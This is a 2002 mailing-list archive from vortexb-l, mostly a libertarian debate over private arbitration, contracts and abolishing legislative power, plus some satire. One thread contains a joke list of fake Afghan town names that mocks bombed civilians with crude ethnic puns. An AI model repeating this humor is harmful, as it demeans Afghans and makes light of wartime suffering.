vortexb-l@eskimo.com X-Mailing-List: archive/latest/1535 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 32 >Jack wrote: > >Do you think anyone is entitled to >IRREVOCABLY sell himself into slavery? > >Mitchell wrote: > >Bottom line: my entire political position rests on one >premise: that disputes over property ought to be taken >before neutral arbiters, and that anyone who attempts >to settle such a dispute by other means is a criminal. >Within such a system, NO CONTRACT CAN EVER BE IRREVOCABLE, >because if one of the parties ceases to perform, a >dispute arises that must be settled by arbitration, and >the decision of the arbiter, once made, will replace, >nullify, and supercede the contract. > >Hi Mitchell, > >Under American law, a contract can be irrevocable, whether >it should be or not. ***{Where is the surprise? The entire purpose of man-made law is to preordain the outcome of juridical procedures, by ordering the decision makers to conform to criteria that, more often than not, have nothing to do with reason or fair play. To put the matter simply, it is not the contracts that are irrevocable, in such cases, but the dictates of man-made law. --MJ}*** In fact, given the human frailty of >arbitrators ***{The possibility human error exists under any system. Irrevocability of contract, however, exists as a practical matter only within systems in which man-made law prescribes criminal penalties for breach of contract. No such penalties have ever, in recorded history, been invoked as the standard solution to such disputes within the context of a purely private arbitration system. Even as far back as the so called "heroic age," as attested to by the various writings of Homer, private arbiters have handed down civil penalties--which means: they have required the payment of suitable monetary compensation--in response to breaches of contract. Indeed, private arbiters during those times, in cases where a death resulted from a "fair fight" (rather than, for example, the deliberate poisoning of food, bushwhacking, stabbing in the back, etc.) generally ordered the payment of compensation *or* the turning of the miscreant over to the relatives of the victim, as the penalty for homicide. The same was true of private arbitors during the time of the Roman Republic (who were known as "jurisconsults"), as well as by the English Common Law courts during the reign of Henry II and in the times immediately following his reign, when the proceedings were mostly unobstructed by the dictates of statutory law. Why has this been the case? The answer: because, in reason, breach of contract is not, in fact, a threat to the life or liberty of the aggrieved party, and any neutral third party who is sincerely attempting to find a reasonable solution to the dispute can see that. Result: the decisions of private arbiters, unconstrained by politics, will in virtually all cases be to order that reasonable monetary compensation be paid. When that is not, in fact, the outcome, it is because there was something about the particulars of the case which *was* a direct and unarguable threat to someone's life or liberty, or because political authorities, via man-made law, intervened to require a decision that was unreasonable and unfair. --MJ}*** and the power of owners ***{Owners may have the "power" to influence political authorities, either by means of bribes, personal relationships, blackmail, campaign contributions, the ability to influence the votes of employees, etc., but they have no power whatever to influence the deliberations of a private arbiter who has been selected by a neutral winnowing process, as defined below. The point: man-made law is the source of the bad effects that you are worrying about, rather than the cure for them. --MJ}*** , even the vilest contracts >could be irrevocable, as a practical matter. ***{Given the influence of a sovereign power on the juridical process, via man-made law, such outcomes are to be expected. My reference, however, was to a neutral arbiter, not to an "arbitrator" selected within the constraints of a man-made legal system--which means: I am talking about a person selected *by the disputants themselves*, according to a winnowing process designed to find the best possible approximation to a neutral, reasoning arbiter. To refresh your memory (I have described this procedure on vortex before), here is the way it works: (1) You publish a description of the dispute in a venue likely to come to the attention of would-be arbiters, asking for those who are willing to adjudicate the case to submit their names by some deadline, say after a month has passed. (2) You make a list of all the names submitted. (3) The parties to the dispute have a reasonable time period for doing research into the backgrounds of the persons whose names are on the list. (4) After the allotted time has elapsed, the disputants each strike one third of the names off the list, rounded to the nearest whole number. (5) Step (3) and then step (4) are repeated as many times as necessary to reduce the number of names on the list to one. (6) The single arbiter who remains at the end of the process is the person selected to adjudicate the case. By this procedure, any person with the slightest blemish on his reputation for fairness will be almost invariably eliminated from the list, by one party or the other, and as a result the only persons who will be able to earn a living as arbiters will be those who establish, and maintain, the highest standards of objectivity and fair play. It is my contention that decisions made according to such procedures offer, by far, the best hope of reasoned justice, and I see it as entirely non-coincidental that the Greek, Roman, and English civilizations all arose during times when disputes were for the most part settled in this way. --Mitchell Jones}*** >I take the position that it is fundemental to justice that >certain contracts must be prohibited ***{Prohibited by what? The apparent answer: by man-made law. The implication: you believe that government should be empowered to preordain the outcomes of disputes over property, despite the palpably obvious fact, demonstrated throughout human history, that it is precisely the interventions of the sovereign power, via kings or legislatures, into judicial procedures, which has supported the irrevocability of onerous "contractual" conditions in the first place. Well, I too am opposed to the various forms of slavery that are implicit in irrevocable contracts, but my solution is different. I see *man-made law*--which means: the power of governmental authorities to intervene in private arbitration--as the source of the problem, and I see a very simple solution: the submission of disputes over property to neutral arbiters ought to be a requirement of citizenship, and it ought to be openly acknowledged that those who attempt the unilateral settlement of disputes over property, including governments who attempt to force private arbiters to decide cases according to rules based on political expediency, are simply criminals. --Mitchell Jones}*** , in particular those that >alienate certain inalienable rights such a "life, liberty, and >the pursuit of happiness." ***{Such rights are based on reason and the principle of prior claims, and, historically, were *discovered* by neutral arbiters, during the times when their deliberations were unencumbered by the dictates of politics. It is their deliberations that are the *source* of our heritage of freedom, Jack. Without them, we would be nothing more than spear-toting savages hunkered over campfires, living short and miserable lives. The notion that political authorities, who are manifestly *not* neutral in their deliberations, ought to be empowered to set standards for those who gave us our heritage of freedom, is insufferable, ludicrous nonsense. All that is needed to promote justice is to ensure that disputes over property are adjudicated by neutral arbiters--which means: arbiters selected by means of a neutral winnowing process,who are *not* subject to the biasing influences of man-made law. --MJ}*** Attempts to impose such contracts >on us by rackteers (the mob that ruled Russia known as >Communists comes to mind) must be resisted by every possible >means, even against the will of those who would sell themselves >for a mess of pottage. > >I think that no human law or constitution, enforced by humans, >is incorruptible; and so we must be eternally vigilent. ***{The power of political authorities to make law lies at the root of all of these problems, and they will not be solved until that power is abolished. Any calls for political action or for vigilance which do not recognize that fact will be useless and pointless. Nobody ever solved a problem by denying that it existed. --MJ}*** >Jack Smith ________________ Quote of the month: "The soldiers of militant Islam and Pan-Arabism do not hate the West because of Israel; they hate Israel because of the West. Zionism, to them, is an expression and representation of Western civilization." --Benjamin Netanyahu From vortexb-l-request@eskimo.com Fri Jan 4 10:27:32 2002 Received: (from smartlst@localhost) by mx2.eskimo.com (8.9.1a/8.8.8) id KAA27827; Fri, 4 Jan 2002 10:26:06 -0800 (PST) Resent-Date: Fri, 4 Jan 2002 10:26:06 -0800 (PST) Sender: jack@mail3.centurytel.net Message-ID: <3C35F1C9.1C2EC2B3@centurytel.net> Date: Fri, 04 Jan 2002 18:17:45 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Foundation Of Justice References: <3C2711D5.17157B05@verisoft.com.tr> Content-Type: text/plain; charset=us-ascii; name="xm" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="xm" Resent-Message-ID: <"bBcoS1.0.jo6.zEVDy"@mx2> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1536 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 33 Mitchell wrote: The power of political authorities to make law lies at the root of all of these problems, and they will not be solved until that power is abolished. Hi Mitchell, How do you propose to abolish the power of political authorities? I think the best we can do is limit their power. Ben Franklin was probably right when he said the only certainties were death and taxes. Jack Smith From vortexb-l-request@eskimo.com Fri Jan 4 15:15:44 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id PAA25570; Fri, 4 Jan 2002 15:14:23 -0800 Resent-Date: Fri, 4 Jan 2002 15:14:23 -0800 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mjones@pop.jump.net Message-Id: In-Reply-To: <3C35F1C9.1C2EC2B3@centurytel.net> References: <3C2711D5.17157B05@verisoft.com.tr> Date: Fri, 4 Jan 2002 17:13:00 -0600 To: vortexb-l@eskimo.com From: Mitchell Jones Subject: Re: Foundation Of Justice Resent-Message-ID: <"KnQQI3.0.RF6.FTZDy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1537 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 34 >Mitchell wrote: > >The power of political authorities to make law lies at the root of all >of these problems, and they will not be solved until that power is >abolished. > >Hi Mitchell, > >How do you propose to abolish the power of political >authorities? ***{I see two possibilities: (1) Someone might discover a new, high-density energy source similar to nuclear fission, but which used readily available fuels (e.g., hydrogen) and which technically competent individuals could implement on a homebrew basis. If that were to happen, then such individuals could move underground, under the ice caps, under the seas, or into space, and live out of sight and out of mind of those unwilling to live and let live. Under such conditions, it would be a simple matter to set up governments which lacked legislative authority, and were constitutionally bound to simply enforce the judgments of neutral arbiters. (2) Another possibility would be the passage of an international treaty giving defendants in every nation the right, but not the obligation, to transfer their cases out of their domestic courts, and into UN courts. If that happened, then UN courts would immediately have an incentive to deliver a better form of justice than that available in the member nations, because if they did so, they would gain more customers, be able to justify larger staffs, bigger budgets, higher salaries, etc. That means they would see themselves as competing with courts in member nations, and, to compete effectively, they would be forced to progressively embrace the principles of reasoned justice. If that happened, the U.N. would become a world government and in the process would drive the world economy into the greatest technological boom in history. At some point in that boom, (1) would certainly occur, and when that happened, the role of state power in human affairs would be over. How do I know it would work out that way? Because it has happened before. King Henry II of England, by virtue of his Grand Decree and a series of associated decrees, created a system of Royal Courts, and gave English defendants the option of switching their cases from the existing Medieval Courts into the Royal Courts. The resulting judicial competition created what came to be known as "English Common Law," unleashed the greatest technological boom in world history thus far, and became the driving force behind the Rise of the West. (For the details, see my book, *The Dogs of Capitalism*.) --Mitchell Jones}*** I think the best we can do is limit their >power. Ben Franklin was probably right when he said the >only certainties were death and taxes. > >Jack Smith ________________ Quote of the month: "The soldiers of militant Islam and Pan-Arabism do not hate the West because of Israel; they hate Israel because of the West. Zionism, to them, is an expression and representation of Western civilization." --Benjamin Netanyahu From vortexb-l-request@eskimo.com Fri Jan 4 21:58:11 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id VAA16054; Fri, 4 Jan 2002 21:57:11 -0800 Resent-Date: Fri, 4 Jan 2002 21:57:11 -0800 From: "xplorer" To: Subject: RE: Foundation Of Justice [law making quote] Date: Sat, 5 Jan 2002 13:01:03 +0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <3C35F1C9.1C2EC2B3@centurytel.net> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Resent-Message-ID: <"S04n81.0.Hw3.rMfDy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1538 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 35 Another outstanding observation: > -----Original Message----- > From: jack@mail3.centurytel.net [mailto:jack@mail3.centurytel.net]On > Behalf Of Taylor J. Smith > Sent: 2002 January 05 Saturday 01:18 > To: vortexb-l@eskimo.com > Subject: Re: Foundation Of Justice > > > > Mitchell wrote: > > The power of political authorities to make law lies at the root of all > of these problems, and they will not be solved until that power is > abolished. > > Hi Mitchell, > > How do you propose to abolish the power of political > authorities? You don't abolish it - you put a lid on it. You limit the ability of your government to generic principle laws, dis-allowing any new laws without the abolition of a previous one. You limit the scope of any law to a specific activity or attribute. From vortexb-l-request@eskimo.com Sat Jan 5 05:54:14 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id FAA26032; Sat, 5 Jan 2002 05:53:23 -0800 Resent-Date: Sat, 5 Jan 2002 05:53:23 -0800 Sender: jack@mail3.centurytel.net Message-ID: <3C370486.4F8C5E82@centurytel.net> Date: Sat, 05 Jan 2002 13:49:58 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Foundation Of Justice References: <3C2711D5.17157B05@verisoft.com.tr> Content-Type: text/plain; charset=us-ascii; name="xm" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="xm" Resent-Message-ID: <"HCwk81.0.hM6.JLmDy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1539 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 36 Jack wrote: How do you propose to abolish the power of political authorities? Mitchell wrote: I see two possibilities: (1) ... set up governments which lacked legislative authority, and were constitutionally bound to simply enforce the judgments of neutral arbiters. (2) Another possibility would be the passage of an international treaty giving defendants in every nation the right, but not the obligation, to transfer their cases out of their domestic courts, and into UN courts. If that happened, then UN courts would immediately have an incentive to deliver a better form of justice than that available in the member nations, because if they did so, they would gain more customers, be able to justify larger staffs ... If that happened, the U.N. would become a world government and in the process would drive the world economy into the greatest technological boom in history. At some point in that boom, (1) would certainly occur, and when that happened, the role of state power in human affairs would be over ... (For the details, see my book, *The Dogs of Capitalism*.) Hi Mitchell, Setting up governments WHICH LACK LEGISLATIVE AUTHORITY is another of your excellent ideas; and it certainly makes sense as a (if not THE) foundation of justice. But we still have the problem of the power of existing political leaders, which they will not relinquish unless compelled to do so, such "compellers" being strongly tempted to seize power for themselves ("the more things change, the more they stay the same"). UN courts may be the last hope of humanity (I just finished reading "Germs ..." by Judith Miller et al.), but the UN seems to be more and more politicized. The promise of technology should be an incentive, but it is an observable fact that man does not live (and die) by bread alone; and, thus, the mullahs will always be with us. What practical steps do you suggest? By the way, how do I order The Dogs of Capitalism? Jack Smith From vortexb-l-request@eskimo.com Sat Jan 5 08:09:59 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id IAA15437; Sat, 5 Jan 2002 08:08:42 -0800 Resent-Date: Sat, 5 Jan 2002 08:08:42 -0800 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mjones@pop.jump.net Message-Id: In-Reply-To: <3C370486.4F8C5E82@centurytel.net> References: <3C2711D5.17157B05@verisoft.com.tr> Date: Sat, 5 Jan 2002 10:06:18 -0600 To: vortexb-l@eskimo.com From: Mitchell Jones Subject: Re: Foundation Of Justice Resent-Message-ID: <"kud6W2.0.8n3.AKoDy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1540 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 37 >Jack wrote: > >How do you propose to abolish the power of political >authorities? > >Mitchell wrote: > >I see two possibilities: > >(1) ... set up governments which >lacked legislative authority, and were constitutionally >bound to simply enforce the judgments of neutral arbiters. > >(2) Another possibility would be the passage of an >international treaty giving defendants in every nation the >right, but not the obligation, to transfer their cases >out of their domestic courts, and into UN courts. If >that happened, then UN courts would immediately have an >incentive to deliver a better form of justice than that >available in the member nations, because if they did so, >they would gain more customers, be able to justify larger >staffs ... > >If that happened, the U.N. would become a world >government and in the process would drive the world economy >into the greatest technological boom in history. At some >point in that boom, (1) would certainly occur, and when >that happened, the role of state power in human affairs >would be over ... > >(For the details, see my book, *The Dogs of Capitalism*.) > >Hi Mitchell, > >Setting up governments WHICH LACK LEGISLATIVE AUTHORITY >is another of your excellent ideas; and it certainly makes >sense as a (if not THE) foundation of justice. > >But we still have the problem of the power of existing >political leaders, which they will not relinquish unless >compelled to do so, such "compellers" being strongly >tempted to seize power for themselves ("the more things >change, the more they stay the same"). ***{Attempts at violent resistance, in the existing and foreseeable context, are pointless, hopeless, and counterproductive. (Violence merely provides excuses for the authorities to take away more of our rights--which means: it serves their interests, not ours.) The only worthwhile things that individuals can do are (a) resist the social pressures to conform, by struggling to see the world as it really is, and (b) give moral and financial support to ventures that, if successful, will result in real improvement. For example, either do research into new energy sources yourself, or provide assistance to others who are doing so. Or, again, promote the *option* (and oppose the requirement), for defendants in member states of the UN, to transfer their cases into UN courts. (If enacted as an option and not a requirement, this measure would be beneficial to everyone; if passed as a requirement, it would be tantamount to the imposition of a global dictatorship, and would be an unmitigated disaster. Fortunately, virtually none of the member states are going to be willing to surrender their sovereignty to the UN on quite so blatant a basis, so as a practical matter such a rule is only feasible as an option.) --MJ}*** >UN courts may be the last hope of humanity (I just finished >reading "Germs ..." by Judith Miller et al.), but the UN >seems to be more and more politicized. ***{While I consider the UN as presently constituted to be a force for evil, I also recognize that, with a tweak here and there, that could change. And since the chances of abolishing the UN are exceedingly dim, while the chance of the proper tweak taking place is good, the prudent course would seem to be in the latter direction. I would emphasize, however, that if this course is implemented--i.e., if defendants in member states are allowed, but not required, to transfer their cases into UN courts--the effect will be to set in motion a slow, evolutionary process of change. The benefits of that process will be manifest in the "third world" first, because it will be in those areas that UN courts, as presently constituted, will be superior to local courts. Thus it will be defendants in the various hell holes of the world who will see it to be in their interest to transfer their cases. Defendants in the Western nations, where judicial procedures are as a rule *more* reasonable than in the UN courts, will *not*, save in exceptional circumstances, make use of such an option. To appeal to defendants in the advanced nations, in other words, the UN courts will have to move quite a long distance from their present position, and embrace property rights in a far more thoroughgoing manner than they presently do. That process is likely to take hundreds of years--which means: it will be of little or no benefit to the citizens of Western nations who are living today. Bottom line: don't invest a lot of time or resources crusading for these sorts of changes in the UN. Keep your eye on the ball: new energy research. That's where freedom is going to come from, if it comes in our lifetimes. --Mitchell Jones}*** The promise of >technology should be an incentive, but it is an observable >fact that man does not live (and die) by bread alone; and, thus, >the mullahs will always be with us. What practical steps >do you suggest? ***{See above. --MJ}*** >By the way, how do I order The Dogs of Capitalism? ***{It is a quality hardback, 336 pages, 44 illustrations. The price is $19.95 postpaid to any address in the U.S. Send the payment plus your mailing address to: 21st Century Logic 100 E. Whitestone #148-329 Cedar Park, TX 78613 --Mitchell Jones}*** >Jack Smith ________________ Quote of the month: "The soldiers of militant Islam and Pan-Arabism do not hate the West because of Israel; they hate Israel because of the West. Zionism, to them, is an expression and representation of Western civilization." --Benjamin Netanyahu From vortexb-l-request@eskimo.com Thu Jan 24 18:20:40 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id SAA28174; Thu, 24 Jan 2002 18:19:30 -0800 Resent-Date: Thu, 24 Jan 2002 18:19:30 -0800 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mjones@pop.jump.net Message-Id: Date: Thu, 24 Jan 2002 20:16:04 -0600 To: vortexb-l@eskimo.com From: Mitchell Jones Subject: Humor Resent-Message-ID: <"bK6833.0.4u6.n2CKy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1541 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 38 List of new Afghani town names: Bom Zlandid Hau Sizirgon Kam El Zarostin Mitur Ben Zaburnin Miwyv Zargon Dikshezad Rupin Wata Mezdiziz Wadi El Apend Izalovr Bu Tashotin Watwazoza Matinkin ________________ Quote of the month: "The soldiers of militant Islam and Pan-Arabism do not hate the West because of Israel; they hate Israel because of the West. Zionism, to them, is an expression and representation of Western civilization." --Benjamin Netanyahu From vortexb-l-request@eskimo.com Fri Jan 25 03:31:12 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id DAA28226; Fri, 25 Jan 2002 03:29:49 -0800 Resent-Date: Fri, 25 Jan 2002 03:29:49 -0800 X-Authentication-Warning: smtp1.ihug.co.nz: Host p484-apx1.akl.ihug.co.nz [203.173.193.230] claimed to be ihug.co.nz Message-ID: <3C5141AD.9CB277B2@ihug.co.nz> Date: Sat, 26 Jan 2002 00:29:49 +1300 From: John Berry X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Humor References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"lnC-b1.0.vu6.j6KKy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1542 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 39 Mitchell Jones wrote: > List of new Afghani town names: > > Bom Zlandid Bomb'z landed? > > Hau Sizirgon House is gone? > > Kam El Zarostin Camel something? > > Mitur Ben Zaburnin My town's been burning??? > > Miwyv Zargon My Wives gone? > > Dikshezad Rupin ? > > Wata Mezdiziz ? > > Wadi El Apend ? > > Izalovr Bu Tashotin Is a Lover but a shooting??? > > Watwazoza Matinkin ? > > ________________ > Quote of the month: > > "The soldiers of militant Islam and Pan-Arabism do not hate the West > because of Israel; they hate Israel because of the West. Zionism, to them, > is an expression and representation of Western civilization." --Benjamin > Netanyahu From vortexb-l-request@eskimo.com Fri Jan 25 11:01:35 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id KAA07291; Fri, 25 Jan 2002 10:59:53 -0800 Resent-Date: Fri, 25 Jan 2002 10:59:53 -0800 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mjones@pop.jump.net Message-Id: In-Reply-To: <3C5141AD.9CB277B2@ihug.co.nz> References: Date: Fri, 25 Jan 2002 12:55:23 -0600 To: vortexb-l@eskimo.com From: Mitchell Jones Subject: Re: Humor Resent-Message-ID: <"GsAmI1.0.qn1.fiQKy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1543 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 40 ***{Hi John. Sorry for inflicting cryptic humor on the list. A guy sent me an e-mail based on the idea, and I pretty much tossed out his examples and made up my own. In the process, the degree of difficulty got too high for humor, I'm afraid. :-( --MJ}*** >Mitchell Jones wrote: > >> List of new Afghani town names: >> >> Bom Zlandid > >Bomb'z landed? ***{Yup. --MJ}*** >> >> Hau Sizirgon > >House is gone? ***{Houses are gone. --MJ}*** >> >> Kam El Zarostin > >Camel something? ***{Camels a-roastin. --MJ}*** >> >> Mitur Ben Zaburnin > >My town's been burning??? ***{My turbans a-burnin. --MJ}*** >> >> Miwyv Zargon > >My Wives gone? ***{My wives are gone. --MJ}*** >> >> Dikshezad Rupin ***{Dick she's a-droopin. --MJ}*** >> >> Wata Mezdiziz ***{What a mess this is. --MJ}*** >> >> Wadi El Apend ***{What the hell happened? --MJ}*** >> >> Izalovr Bu Tashotin > >Is a Lover but a shooting??? ***{It's all over but the shouting. --MJ}*** >> >> Watwazoza Matinkin ***{What was Osama thinking? --MJ}*** ________________ Quote of the month: "The soldiers of militant Islam and Pan-Arabism do not hate the West because of Israel; they hate Israel because of the West. Zionism, to them, is an expression and representation of Western civilization." --Benjamin Netanyahu From vortexb-l-request@eskimo.com Fri Feb 8 09:40:33 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id JAA24299; Fri, 8 Feb 2002 09:36:59 -0800 Resent-Date: Fri, 8 Feb 2002 09:36:59 -0800 Message-Id: <5.1.0.14.2.20020208123626.03a6d590@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 08 Feb 2002 12:37:04 -0500 To: vortexB-L@eskimo.com From: Jed Rothwell Subject: Axis of Evil Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"k_AAR2.0.Yx5.xo0Py"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1544 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 41 Bitter after being snubbed for membership in the "Axis of Evil," Libya, China, and Syria today announced they had formed the "Axis of Just as Evil," which they said would be way eviler than that stupid Iran-Iraq-North Korea axis President Bush warned of his State of the union address. Axis of Evil members, however, immediately dismissed the new axis as having, for starters, a really dumb name. "Right. They are Just as Evil... in their dreams!" declared North Korean leader Kim Jong-il. "Everybody knows we're the best evils... best at being evil... we're the best." Diplomats from Syria denied they were jealous over being excluded, although they conceded they did ask if they could join the Axis of Evil. "They told us it was full," said Syrian President Bashar al-Assad. "An Axis can't have more than three countries," explained Iraqi President Saddam Hussein. "This is not my rule, it's tradition. In World War II you had Germany, Italy, and Japan in the evil Axis. So you can only have three. And a secret handshake. Ours is wicked cool." THE AXIS PANDEMIC International reaction to Bush's Axis of Evil declaration was swift, as within minutes, France surrendered. Elsewhere, peer-conscious nations rushed to gain triumvirate status in what became a game of geopolitical chairs. Cuba, Sudan, and Serbia said they had formed the Axis of Somewhat Evil, forcing Somalia to join with Uganda and Myanmar in the Axis of Occasionally Evil, while Bulgaria, Indonesia and Russia established the Axis of Not So Much Evil Really As Just Generally Disagreeable. With the criteria suddenly expanded and all the desirable clubs filling up, Sierra Leone, El Salvador, and Rwanda applied to be called the Axis of Countries That Aren't the Worst But Certainly Won't Be Asked to Host the Olympics; Canada, Mexico, and Australia formed the Axis of Nations That Are Actually Quite Nice But Secretly Have Nasty Thoughts About America, while Spain, Scotland, and New Zealand established the Axis of Countries That Want to Be Allowed to Ask Sheep to Wear Lipstick. "That's not a threat, really, just something we like to do," said Scottish Executive First Minister Jack McConnell. While wondering if the other nations of the world weren't perhaps making fun of him, a cautious Bush granted approval for most axes, although he rejected the establishment of the Axis of Countries Whose Names End in "Guay," accusing one of its members of filing a false application. Officials from Paraguay, Uruguay, and Chadguay denied the charges. From vortexb-l-request@eskimo.com Wed Feb 20 18:27:49 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id SAA06436; Wed, 20 Feb 2002 18:26:28 -0800 Resent-Date: Wed, 20 Feb 2002 18:26:28 -0800 From: Robin van Spaandonk To: vortexb-l@eskimo.com Subject: Government policy Date: Thu, 21 Feb 2002 13:25:48 +1100 Organization: Improving Message-ID: <1em87u8v71kdn64946q0cvcv2e7tduim7m@4ax.com> X-Mailer: Forte Agent 1.9/32.560 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id SAA06368 Resent-Message-ID: <"4GzqM2.0.Sa1.Kh5Ty"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1545 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 42 Major government policy shift - media not being lied to. see http://www.cbsnews.com/now/story/0,1597,329975-412,00.shtml Does this mean they will now tell us the truth about UFO research? ;) Regards, Robin van Spaandonk http://users.bigpond.net.au/rvanspaa/ ....Put the "bottom line" at the top! From vortexb-l-request@eskimo.com Tue May 14 06:39:17 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id GAA20558; Tue, 14 May 2002 06:32:47 -0700 Resent-Date: Tue, 14 May 2002 06:32:47 -0700 X-Authentication-Warning: eskimo.com: billb owned process doing -bs Date: Tue, 14 May 2002 06:32:39 -0700 (PDT) From: William Beaty Reply-To: William Beaty To: vortexb-l@eskimo.com Subject: vortexC-L dead, want to restart? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Message-ID: <"3PlF-2.0.915._7Huy"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1546 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 43 On Tue, 14 May 2002, Neil Duffy wrote: > Sorry to bother you with this but I have changed ny email address from > N.D.Duffy@hw.ac.uk to x. I would like to stay subscribed > to VortexC-L but the server does not seem to be responding to subscribe > requests. The vortexC $60 subscription was due and I let it lapse. Might you want to start up a Torsion list on yahoo? Anyone? Lists are free there. If so, I can announce the new list, so any old vort-C users can subscribe. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billbeskimo.com http://amasci.com EE/programmer/sci-exhibits science projects, tesla, weird science Seattle, WA 206-789-0775 sciclub-list freenrg-L vortex-L webhead-L From vortexb-l-request@eskimo.com Wed Jun 12 15:12:41 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id PAA27644; Wed, 12 Jun 2002 15:11:33 -0700 Resent-Date: Wed, 12 Jun 2002 15:11:33 -0700 X-Sent: 12 Jun 2002 22:10:55 GMT Message-Id: <5.1.0.14.2.20020612173257.0324d788@mail.DIRECTVInternet.com> X-Sender: jedrothwell@mail.DIRECTVInternet.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Wed, 12 Jun 2002 18:10:40 -0400 To: vortexB-L@eskimo.com From: Jed Rothwell Subject: OFF TOPIC -VL posting: Civil War In-Reply-To: References: <5.1.0.14.2.20020612123301.03262550@mail.DIRECTVInternet.com> <5.1.0.14.2.20020611113317.03202be8@mail.DIRECTVInternet.com> <5.1.0.14.2.20020611161652.03202620@mail.DIRECTVInternet.com> <3D06AF85.FE99294C@ix.netcom.com> <5.1.0.14.2.20020612123301.03262550@mail.DIRECTVInternet.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed 